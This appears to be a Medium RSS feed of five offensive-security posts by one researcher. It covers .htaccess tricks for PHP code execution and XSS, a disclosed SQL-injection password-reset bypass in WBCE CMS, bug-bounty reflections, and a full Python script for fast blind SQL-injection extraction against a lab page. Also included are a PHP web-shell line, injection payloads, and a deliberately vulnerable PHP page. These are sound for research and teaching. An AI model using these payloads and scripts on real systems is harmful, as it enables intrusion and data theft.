<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by citril on Medium]]></title>
        <description><![CDATA[Stories by citril on Medium]]></description>
        <link>https://medium.com/@citril?source=rss-5607143cdbf6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*NCItZfgD6c3reC1XKMlQhA.jpeg</url>
            <title>Stories by citril on Medium</title>
            <link>https://medium.com/@citril?source=rss-5607143cdbf6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:38:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@citril/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Advanced .htaccess file attacks (Part I)]]></title>
            <link>https://medium.com/@citril/advanced-htaccess-file-attacks-part-i-d653567d1ded?source=rss-5607143cdbf6------2</link>
            <guid isPermaLink="false">https://medium.com/p/d653567d1ded</guid>
            <category><![CDATA[php]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[apache]]></category>
            <dc:creator><![CDATA[citril]]></dc:creator>
            <pubDate>Mon, 16 Jan 2023 20:21:51 GMT</pubDate>
            <atom:updated>2023-01-16T20:21:51.163Z</atom:updated>
            <content:encoded><![CDATA[<h3>Advanced .htaccess file attacks (Part I)</h3><p>.htaccess? Yep, sometimes they can lead to an RCE, XSS and etc. Let’s dive into .htaccess configuration world.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*rOxLki116Ms8kAMr9YKi-Q.jpeg" /><figcaption>.htaccess — Apache configuration file; widely used by hosted websites over the globe</figcaption></figure><p>One of the hardest vulnerability I exploited when I was a junior in offsec was .htaccess file upload vulnerability. There was so little information about how to use this little file to control &amp; own web servers — much of them were all false positives. So I spent my time (over a months) to research deeper and learn more about this attack method, to my surprise it finally worked and I got an RCE in that website.</p><p>Exploiting .htaccess file upload vulnerability and using it to something that is not intended without even understanding those configurations — was little too hard for me at that time. But after gaining 3 years of experience in that field, I found out that there are still little to no information that can help to exploit this kind of vulnerability. Over this week I did another research — this time I used my own approaches and techniques and found new ways — possibly new CVEs if you find that information helpful. Now let’s get started and see what we can do with that config files.</p><p>Let’s actually start with known techniques which I found out very useful:</p><ol><li>Treating all files as PHP code:</li></ol><pre># This configuration runs all extensions as PHP:<br># Keep in mind that this code might give 500 Internal Server errors due to some kind of apache restrictions or unknown factors.<br># &lt;?php system($_GET[&#39;command&#39;]);?&gt; - You can run php code even inside .htaccess file. IT SHOULD BE COMMENTED<br>SetHandler php-script</pre><p>After setting<strong> SetHandler </strong>option with <strong>php-script</strong> parameter Apache will execute all other file extensions including .htaccess file as PHP executable.</p><p>Now let’s dive into my one-week research techniques.</p><h4>RCE by overwriting PHP configuration</h4><p>One of the most unknown feature of .htaccess is that you can change PHP configurations — sometimes overwrite existing configs. You can find all PHP runtime configuration information here: <a href="https://www.php.net/manual/en/ini.list.php">https://www.php.net/manual/en/ini.list.php</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oh1B-CUilwNyrhxKnRThdA.png" /><figcaption>Part of PHP configuration options</figcaption></figure><p>Keep in mind that <strong>we can only change</strong> options that have a value of <strong>PHP_INI_ALL</strong> in <strong>Changeable</strong> column by using .htaccess.</p><p>There are tons of configuration options — we need to find the right chain to achieve our goal — possibly an RCE vulnerability.</p><p>As many penetration testers and other specialists know that apache writes <strong>logs</strong> to write all ongoing interactions between a client and the server.</p><p>We can redirect these logs to somewhere else by overwriting an option called “error_log” in .htaccess:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dooupmsq0DlK3GVslpAoEQ.png" /></figure><p>Now, let’s think about what can go wrong?!</p><p>If we can inject our php code into error logs, we can easily achieve an RCE. I first thought we can’t easily configure apache to write “.php” file but in fact there’s no restriction to write php error logs into “.php” file 😅</p><p>Let’s look at my local test environment to see if that works:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zp3fqQAACBgPvOsiUD3K-Q.png" /><figcaption>Test 1 — forcing PHP application to give an error and writing a log</figcaption></figure><h4>Test 1 — open_basedir injection</h4><p>I created .htaccess file that include <strong>open_basedir</strong> and <strong>error_log</strong> parameters — both can be changed. You can see that we didn’t have any other php file that is called “errorlog.php”.</p><p>After running any random php code on the server — just by opening any url (In my example it’s phpinfo.php file that only runs “phpinfo” function):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u-CTb2ANbS_K0Vp_MnZxLQ.png" /><figcaption>Error occured due to open_basedir restirctions — that’s what we wanted!</figcaption></figure><p>Now, let’s check if there’s a new php file (errorlog.php):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WUpS4CVElR16aKy5eAf0g.png" /><figcaption>Aha, exactly!</figcaption></figure><p>We can see that php error logs and warnings are written to a file “errorlog.php”. We can also see that open_basedir directory is reflected on error log file, let’s see if we can change the directory to something like <em>&lt;?php echo “injected”;?&gt; </em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9EJaYu_hKgnFBxqQYdB4g.png" /><figcaption>open_basedir injection failed</figcaption></figure><h4>Test 2 — success</h4><p>Despite failed injection attempt using open_basedir we need to keep it as it can help us to forcibly exit and write error log to any location.</p><p>Okay, what if we use <strong>error_log</strong> option itself? If you noticed, the path of executed php code also included in error logs, let’s see if we can write an error log that has a name something like this: “&lt;?php phpinfo();?&gt;.php” and call to that location like this: “/file-location/&lt;?php phpinfo();?&gt;.php”</p><p>That’s a bit tricky in fact, but here’s the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0jt-a4VnQ57nSgUVZ5yaA.png" /><figcaption>Our magical error log with our payload — success!</figcaption></figure><p>You need to encode all characters before sending a request, i.e I sent a request like this: “&lt;?php phpinfo();?&gt;.php” becomes “%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e.php”, WAF protection mechanisms might catch those requests so if that’s your case then don’t hesitate to do your own research — there are tons of possibilities hidden in that little file.</p><p>Here’s the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QsyD-o3kmQZX2e5tgWtEZQ.png" /><figcaption>.htaccess exploitation — test 2</figcaption></figure><p>We just got an RCE by using .htaccess file. Let’s see what else we can do.</p><h4>XSS? The most powerful XSS actually</h4><p>.htaccess has way more powerful potential to impact the whole web server; you can add different headers, redirect to another location and configure it to send file as different file type.</p><p>Let’s look at this situation: there’s a website called example.com and it calls main javascript file in every page or at least main page. We can redirect this js to another location - even to a different host or another file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIT1xwOBxqefF8fYplW9qg.png" /><figcaption>Here’s an example of achieving XSS by using .htaccess</figcaption></figure><p><em>For the sake of an example I used configuration that redirects to local file, but keep in mind that we can redirect it to </em><strong><em>another host</em></strong><em> — you need to use the right configuration for that. I’m going to continue my research &amp; fill the information gap so there will be tons of different payloads in the future.</em></p><p>I hope there are way more possibilities to try — if you want to continue or even work on collaboration to work on this research you come join to my Telegram group: <a href="https://t.me/+tAEaaV36uMU0OTUy">https://t.me/+tAEaaV36uMU0OTUy</a></p><p>Thank you for reading the blog-post, if you find out that it helpful please consider clapping and following to my page!</p><p><em>(Going to publish the next part soon!)</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d653567d1ded" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[$1,500 XSS — what to consider during bug bounty]]></title>
            <link>https://medium.com/@citril/1-500-xss-what-to-consider-during-the-bug-bounty-8749b8911369?source=rss-5607143cdbf6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8749b8911369</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[hackerone]]></category>
            <dc:creator><![CDATA[citril]]></dc:creator>
            <pubDate>Tue, 21 Jun 2022 18:25:38 GMT</pubDate>
            <atom:updated>2023-12-22T22:02:52.026Z</atom:updated>
            <content:encoded><![CDATA[<h3>$1,500 XSS — what to consider during bug hunting</h3><p>Hello folks, long time no see! I recently got my bounty from one of the private program on HackerOne and wanted to talked about it, share my experiences and etc. This post is for those who just started their journey or struggling with their progress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*xAE1a-KByPMPH5ljnM3lJg.jpeg" /></figure><p>I started my journey and got my first bounty year ago but I learned a lot during this time and I think I already have a vision on it, especially if you want to be successful on bug hunting, this might help you a lot.</p><p>I often explore Medium and read blog posts of bug hunters, but they can often easily mislead you if you don’t know what to expect and learn, even what to search for during bug bounty, so here is my words for you: BUGS ARE MEANT TO CHANGE SOMEONE’S LIFE OR BUSINESS.</p><p>First time I stared my bug hunting, I found super-easy $3K bug on HackerOne and I was so much happy about it, but it didn’t last so long. I haven’t got it right in that time, my later reports crashed my reputation just because THERE WAS NO IMPACT OF THEM. After so much time, tons of duplicates and N/As I FINALLY UNDERSTOOD what to search for: IMPACTS!</p><p>Hacker’s product is impact that can change businness’s life: you should learn how to be impactful with your bugs.</p><p>My last report finally proved that my time did not wasted for this time, even though it was only XSS, I spent two 2 days of my free time and created working exploit to fetch OTP for another domain’s access that can be used to both privilege escalation and grant access to organization’s private information.</p><p>Hacker’s mindset differs from most of the people in the world: we can see what we can cause; So be impactful as much as possible, think about single HTML injection might take over the whole organization.</p><p>I wish you good luck my friend!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8749b8911369" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2021–3817: From SQLi to plaintext admin password recovery]]></title>
            <link>https://medium.com/@citril/cve-2021-3817-from-sqli-to-plaintext-admin-password-recovery-13735773cc75?source=rss-5607143cdbf6------2</link>
            <guid isPermaLink="false">https://medium.com/p/13735773cc75</guid>
            <category><![CDATA[open-source-contribution]]></category>
            <category><![CDATA[cve-2021-3817]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[citril]]></dc:creator>
            <pubDate>Fri, 10 Dec 2021 06:30:18 GMT</pubDate>
            <atom:updated>2023-01-26T11:14:41.329Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello infosec community and cybersecurity enthusiasts! Today I am going to talk about my first zero day and how I used SQL injection to escalate the vulnerability to RCE.</p><p>The vulnerability found in opensource PHP web application - WBCE CMS. You can find it on Github.</p><p>Before I get started finding bugs I expored whole application, default values and how can I find critical bug inside this web app. So I find out that application by default almost disabled most useful features, but it doesn’t mean you can’t break it 😉</p><p>After installing WBCE in my localhost environment I logged into admin page and searched for uploading PHP scripts so I can run my code: there were a lot of ways to run php scripts easily, just by modifying template or uploading modules. So I found out that my main goal will be finding a way to bypass authentication as it means preauth RCE for web app.</p><p>I didn’t think there is SQL injection but after looking at admin/login/forgot/index.php code there is an email variable parsed directly into SQL query ?!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*iMxQo2K6D0bHfobCSe7gng.png" /><figcaption>We are living in 2021 but there is still SQL injection?!</figcaption></figure><p>But email variable passed through regex filter and after that, it will be inserted into a query. At least they aren’t that stupid 😶‍🌫️ but again, we are living in 2021 (The year I am writing the post and found this bug)</p><p>So I find a way to easily bypass regex but here is a catch: as I thought, all password hashes are encrypted with bcrypt; you can reset the password, but it will be hashed as well. New password will consist of 8 alpfanumeric characters, I extracted the hash and tried to crack the password but I don’t have powerful PC that can crack in a day or so 😅 I used hashcat with bruteforce mode to see how much time do I need to get password and it estimated 1 years to get what I need. So I just ignored using this way to bypass.</p><p>I analysed the whole page to find a way to do something impactful. If you can still inject and select admin row from users table, what can I do except extracting the hash?</p><p>Here is a catch: If you insert email that consists of SQL injection payload, web app still got successful sending new password even if your email is not a valid, for example I didn’t see any kind of email that looks like this: “ ‘/**/<a href="/service/mailto:or/**/user_id=1/**/or/**/&#39;random@example.com">or/**/user_id=1/**/or/**/’random@example.com</a>”</p><p>I tested something odd: I send test email with some text to this email from Gmail, it succeeded and after 2 minutes I got an error that this user doesn’t exist!</p><p>Okay. What if I create something like a proxy that catches all email even we don’t have any user looks like this payload… Yes! We need a forwarder or something similar!</p><p>I use domain and I found out that there is a feature that helps me to do exactly what I wanted to do: “Forward all emails to specific email” in Namecheap Domain controller. I created forwarder to send all emails to Gmail address which I own.</p><p>I again send test email from anoter gmail account I successfully received an email!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sLWwNUwAvFSQ3Z3zkQjX8Q.png" /></figure><p>Let me explain what can this creepy email be used.</p><p>We can input an email that is both valid and weaponized to inject database to forcibly select admin row from table. That means you can reset the password without knowing an email of admin and receive new password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBNyCm0AYiM13Sky1UEkgg.png" /><figcaption>Here is our final goal!</figcaption></figure><p>I tested the vulnerability not in my localhost environment as I could not configure email settings and couldn’t receive email. I told the vendor about my problem, I am here not to hack and change, I am here to find a bug and want it to be fixed as soon as possible.</p><p>The vulnerability confirmed, fixed version - 1.5.2 has been already released.</p><p>Also they added me as a contributor (@maxway2021 on github) 😀 So thanks!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13735773cc75" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR that worth $3k, the first bug I found in HackerOne]]></title>
            <link>https://medium.com/@citril/idor-that-worth-3k-the-first-bug-i-found-in-hackerone-d1e32f712e30?source=rss-5607143cdbf6------2</link>
            <guid isPermaLink="false">https://medium.com/p/d1e32f712e30</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[citril]]></dc:creator>
            <pubDate>Fri, 19 Nov 2021 17:31:45 GMT</pubDate>
            <atom:updated>2021-11-19T17:31:45.878Z</atom:updated>
            <content:encoded><![CDATA[<p>That’s why you should analyze sussy IDs :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*careV3OvIhpdJ2DtA_ir1A.jpeg" /><figcaption>IDORs are the luckiest and serious bugs of all time</figcaption></figure><p>Hi everyone! Today I wanna talk about my first bug found on private program of HackerOne. Here you can see statistics about it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*lKg25Hq0BRTN0-I_yMty_A.png" /><figcaption>I didn’t think I will get so high severity for this bug</figcaption></figure><p>Some info about the bug itself: I found out that you can delete some information which belongs to another users, and ID itself was so weakly randomized, so I can delete whole DB within an hour lmao</p><p>Lessons I learned: Keep your eyes on when you see weak IDs or ‘DELETE’ requests; also see how impactful it can be from a business perspective.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1e32f712e30" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to beat time-based SQLi]]></title>
            <link>https://medium.com/@citril/how-to-beat-time-based-sqli-8946484ef8a5?source=rss-5607143cdbf6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8946484ef8a5</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[citril]]></dc:creator>
            <pubDate>Sat, 13 Nov 2021 13:14:19 GMT</pubDate>
            <atom:updated>2021-11-13T16:14:49.958Z</atom:updated>
            <content:encoded><![CDATA[<h4>Hello dear cybersec world! Today I want to talk about how you can effectively decrease time during time-based SQL injections.</h4><p>First of all, I HATE TIME BASED SQLi. It’s a waste of time, and you have to wait so much time to get what you want. Even it’s pretty hard to test without sqlmap, if you can find time based SQL injection, here is how you can decrease time with a simple trick.</p><p>POV: you found SQL injection in somewhere. But it’s … it’s time-based.</p><p>If you can find anything that indicate injected SQL query is valid or not, for example as you can see it’s a valid SQL query: “ SELECT username from users where username=’admin’ and password=’admin123’ ”, after you inject like “admin’ or ‘1’=’1”, main SQL query is still valid, and it doesn’t throw any kind of error. But most of time-based SQLi bugs have something that protects all errors from being shown to user. If the main SQL query “SELECT description from news where video_id=12” and after you injected, it will become “SELECT description from news where video_id=12‘ or ‘1’=’1”. The backend just… responds with something like 500 error code or just shuts down and doesn’t reply anything. So you CAN use special SQL injection payload that I use a lot during bug bounty or penetration testing.</p><p>MySQL is weird. It has so much capabilities when you can inject your query. Before I discovered this technique, I used error-based or union-based SQLi payloads all the time. SO I wanted to check whether I can use mix of them, something like error-union-based lmao</p><p>Let’s have a look that image, there is not any kind of syntax errors, but still MySQL throws error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zcr-vpWkL8BYGHbfw4CHqQ.png" /><figcaption>MySQL throws error in IF function?!</figcaption></figure><p>I read more about SQL inejections before I found it, especially about EXP in <a href="https://osandamalith.com/2015/07/15/error-based-sql-injection-using-exp/">https://osandamalith.com/2015/07/15/error-based-sql-injection-using-exp</a>.</p><p>You can use “1-~0” as the same as “exp(710)”, but I think EXP always works :)) You can find about “1-~0” and “exp(710)” more in <a href="https://osandamalith.com/2015/07/15/error-based-sql-injection-using-exp/">https://osandamalith.com/</a>.</p><p>The question is, how does it work?</p><ul><li>It’s works like time-based SQL injection, but the server immediately throws error instead of shutting it’s mouth for a while, so you can save pretty much time.</li></ul><p>I created simple Python (3) script to get the output. I used this code to exfiltrate sensitive information (It’s totally legal target btw 😅) and the code itself heavily relies on the condition itself, so unfortunately I can’t share it with you.</p><p>For testing purposes, I created simple vulnerable web page called ‘news.php’ in my VM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNfgTceU-Vr1piuNkJQtqw.png" /><figcaption>News page for testing new SQLi technique</figcaption></figure><p>Here is the code of this page:</p><pre>&lt;?php</pre><pre>$servername = &quot;localhost&quot;;</pre><pre>$username = &quot;testuser&quot;;</pre><pre>$password = &quot;testpassword&quot;;</pre><pre>$dbname = &#39;testDB&#39;;</pre><pre>$conn = new mysqli($servername, $username, $password, $dbname);</pre><pre>if ($conn-&gt;connect_error) {</pre><pre>die(&quot;DB_CONN_ERR: &quot; . $conn-&gt;connect_error);</pre><pre>}</pre><pre>if (isset($_GET[&#39;sub_email&#39;])) {</pre><pre>$query = &quot;INSERT into emails (`email`) VALUES (&#39;&quot;.$_GET[&#39;sub_email&#39;].&quot;&#39;)&quot;;</pre><pre>$result = $conn -&gt; query($query);</pre><pre>if (!$result) {</pre><pre>header(&#39;HTTP/1.1 500 Internal Server error&#39;);</pre><pre>die();</pre><pre>}</pre><pre>}</pre><pre>$query = &quot;SELECT theme,image,description from news&quot;;</pre><pre>$result = $conn -&gt; query($query);</pre><pre>?&gt;</pre><pre>&lt;html&gt;</pre><pre>&lt;title&gt;Not vulnerable News Page&lt;/title&gt;</pre><pre>&lt;meta charset=&quot;utf-8&quot;&gt;</pre><pre>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;</pre><pre>&lt;link href=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot; integrity=&quot;sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC&quot; crossorigin=&quot;anonymous&quot;&gt;</pre><pre>&lt;script src=&quot;https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js&quot; integrity=&quot;sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM&quot; crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;</pre><pre>&lt;body&gt;</pre><pre>&lt;nav class=&quot;navbar navbar-expand-lg navbar-light bg-light shadow fixed-top&quot;&gt;</pre><pre>&lt;div class=&quot;container&quot;&gt;</pre><pre>&lt;a class=&quot;navbar-brand&quot; href=&quot;#&quot;&gt;News&lt;/a&gt;</pre><pre>&lt;button class=&quot;navbar-toggler&quot; type=&quot;button&quot; data-bs-toggle=&quot;collapse&quot; data-bs-target=&quot;#navbarResponsive&quot; aria-controls=&quot;navbarResponsive&quot; aria-expanded=&quot;false&quot; aria-label=&quot;Toggle navigation&quot;&gt;</pre><pre>&lt;span class=&quot;navbar-toggler-icon&quot;&gt;&lt;/span&gt;</pre><pre>&lt;/button&gt;</pre><pre>&lt;/div&gt;</pre><pre>&lt;/nav&gt;</pre><pre>&lt;header class=&quot;masthead&quot;&gt;</pre><pre>&lt;br&gt;&lt;br&gt;&lt;br&gt;</pre><pre>&lt;/header&gt;</pre><pre>&lt;?php</pre><pre>if ($result-&gt;num_rows &gt; 0) {</pre><pre>while ($row = $result-&gt;fetch_assoc()) {</pre><pre>echo &#39;&lt;div class=&quot;card&quot; style=&quot;width: 22rem; float: left; margin: 1%;&quot;&gt; &lt;img class=&quot;card-img-top&quot; src=&quot;&#39;.$row[&#39;image&#39;].&#39;&quot; alt=&quot;Hack the world!&quot;&gt; &lt;div class=&quot;card-body&quot;&gt;  &lt;h4 class=&quot;card-title&quot; style=&quot;color: black;&quot;&gt;&#39;.$row[&#39;theme&#39;].&#39;&lt;/h5&gt;  &lt;p class=&quot;card-text&quot; style=&quot;color: black&quot;&gt;&#39;.$row[&#39;description&#39;].&#39;&lt;/p&gt;  &lt;div class=&quot;col text-center&quot;&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&#39;;</pre><pre>}</pre><pre>}</pre><pre>?&gt;</pre><pre>&lt;center&gt;</pre><pre>&lt;section&gt;</pre><pre>&lt;div style=&quot;margin: 3%;&quot;&gt;</pre><pre>Subscribe to get the hottest news!</pre><pre>&lt;form method=&quot;GET&quot; action=&quot;/news.php&quot;&gt;</pre><pre>&lt;input type=&quot;text&quot; name=&#39;sub_email&#39; placeholder=&#39;email@gmail.com&#39; style=&#39;margin: 1%;&#39;&gt;</pre><pre>&lt;input type=&#39;submit&#39; class=&#39;btn btn-submit&#39; value=&#39;SUBMIT&#39; style=&#39;margin: 1%; background-color:cornflowerblue;&#39;&gt;</pre><pre>&lt;/form&gt;</pre><pre>&lt;/div&gt;</pre><pre>&lt;/section&gt;</pre><pre>&lt;/center&gt;</pre><pre>&lt;/body&gt;</pre><pre>&lt;/html&gt;</pre><p>As you can see, our injection point is ‘sub_email’ parameter. I tested it with sqlmap. Let’s see how it found the bug:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*645dEmeQ6Pi9C30mK4BhTQ.png" /><figcaption>sqlmap output (As I expected)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2nB7ERZQ918R7HSAMswF6w.png" /><figcaption>sqlmap shows the final payload to exploit</figcaption></figure><p>Now, it’s time to develop our python script to get rid of time.</p><p>If the main query is not a valid statement, it will throws an error — just like any other typical one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T_zZaWikj41MMBP3THFcxQ.png" /></figure><p>So first of all, I manually tested it to create true-false statement (Our technique relies on it, so you must find a way to do it). The payload is “1’),((__OUR_PAYLOAD__)),(‘1”, which become a valid as the main query will be like: ”INSERT into emails (`email`) VALUES (‘1’),((SELECT ‘1’)),(‘1’)”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rNQdT7_fLRuwsZh_mOMUdQ.png" /></figure><p>Now, you can test with valid if statement to check my technique:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jc8EZb9jTQCDHPL8lOpvsQ.png" /></figure><p>So I write simple Python script to exploit the vulnerability and gather database information, don’t forget to change url and endpoint parameters’ default value (including Headers and Cookies):</p><pre>import concurrent.futures, requests, urllib.parse, os</pre><pre>global elements, url, output, ipoint1, ipoint2, _lbock  # Global vars</pre><pre>_lbock = 0<br># Main parameters. YOU MUST CHANGE IT!<br>url = &quot;<a href="http://10.211.55.4/news.php">http://10.211.55.4/news.php</a>&quot;<br>ipoint1 = &quot;sub_email=1&#39;),((&quot;<br>ipoint2 = &quot;)),(&#39;1&quot;</pre><pre># End main parameters.</pre><pre>output = {}<br>elements = [e for e in &#39;&#39;&#39;0123456789abcdefghijklmnopqrstuvwxyz,./\&#39;\\{}|`!@#$%^&amp;*()_+-=&#39;&#39;&#39;] # All possible elements for brute forcing</pre><pre>def send_request(method, url, data):<br> headers = {<br> &#39;Host&#39;: &#39;10.211.55.4&#39;,<br>    &#39;User-Agent&#39;: &#39;Google Chrome LOL&#39;,<br>    &#39;Accept&#39;: &#39;text/html, */*; q=0.01&#39;,<br>    &#39;Accept-Language&#39;: &#39;en-US,en;q=0.5&#39;,<br>    &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;,<br>    &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded; charset=UTF-8&#39;,<br>    &#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;<br>    }   # Make sure you insert the all the data!<br> cookies = {}<br> _url = url<br> if method == &#39;GET&#39;:<br>  _url += &quot;?&quot; + data<br>  return requests.get(url = _url, headers = headers, cookies = cookies, verify = False)<br> else:<br>  return requests.post(url = _url, headers = headers, cookies = cookies, data = data, verify = False)</pre><pre>def check(payload):<br> global url, ipoint1, ipoint2<br> data = ipoint1 + urllib.parse.quote(payload) + ipoint2<br> req = send_request(method = &#39;GET&#39;, url = url, data = data)<br> # In this case, server responds with 500 status code if our injected query is not a valid statement<br> # and if it&#39;s not, just a normal 200 reply returned.<br> if req.status_code == 200: return True<br> elif req.status_code == 500: return False<br> else: exit(&#39;ERROR!&#39;)</pre><pre>def printDict(_dict):<br> _arr = []<br> for f in range(max(_dict.keys()) + 1):<br>  _arr.append(_dict[f])<br> return &#39;&#39;.join([str(e) for e in _arr])</pre><pre>def getLength(payload):<br> print(&#39;[+] Getting length of the output...&#39;)<br> _length = []<br> for f in range(1,5):<br>  for e in [0,1,2,3,4,5,6,7,8,9]:<br>   fpayload = f&quot;SELECT ((select if(mid((SELECT CHAR_LENGTH(({payload}))),{str(f)},1)=&#39;{e}&#39;,1,exp(710))))&quot;<br>   if check(fpayload):<br>    _length.append(e)<br> print(&#39;Length of output: &#39; + &#39;&#39;.join([str(g) for g in _length]))<br> return &#39;&#39;.join([str(g) for g in _length])</pre><pre>def printPretty(output):<br> _cols = os.get_terminal_size().columns<br> global _lbock<br> block = output[_cols * _lbock:]<br> if len(block) &gt; _cols:<br>  _lbock += 1<br>  print(block + &#39; &#39; * (_cols - len(block)), end =&#39;\r&#39;)<br> else: print(block, end = &#39;\r&#39;)</pre><pre>def getElementByIndex(index,element,payload):<br> global output<br> _payload = f&quot;SELECT if(mid(({payload}),{str(index)},1)=&#39;{str(element)}&#39;,1,exp(710))&quot;<br> if check(_payload):<br>  output[index - 1] = element<br>  printPretty(printDict(output))</pre><pre>def getElement(index,payload):<br> global elements<br> with concurrent.futures.ThreadPoolExecutor(max_workers = 5) as c_worker:<br>  [c_worker.submit(getElementByIndex,index,element,payload) for element in elements]</pre><pre>def getOutput(query):<br> global output<br> _qLength = int(getLength(query))<br> with concurrent.futures.ThreadPoolExecutor(max_workers = 5) as e_worker:<br>  [e_worker.submit(getElement,index,query) for index in range(1,_qLength + 1)]<br> while not len(output) == _qLength:<br>  pass<br> print()<br> print(&#39;Full response: &quot;&#39; +printDict(output) + &#39;&quot;\n&#39;)</pre><pre>stmt = &#39;&#39;<br>while True:<br> stmt = input(&#39;SQLi&gt; &#39;)<br> if stmt == &#39;exit&#39; or stmt == &#39;quit&#39;: break<br> getOutput(stmt)<br> output = {}</pre><p>The script is for this special circumstance, which is the injection point is in the GET parameter.</p><p>About the script:</p><ul><li>After you enter SQL query and it runs concurrent requests to get the output, using our new technique.</li></ul><p>The thing is, I got entire list of tables (190 tables) in about 2–3 minutes! If you find time-based SQL injection, it doesn’t mean that you have to waste all your life to get a “SELECT user()”s output :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8946484ef8a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>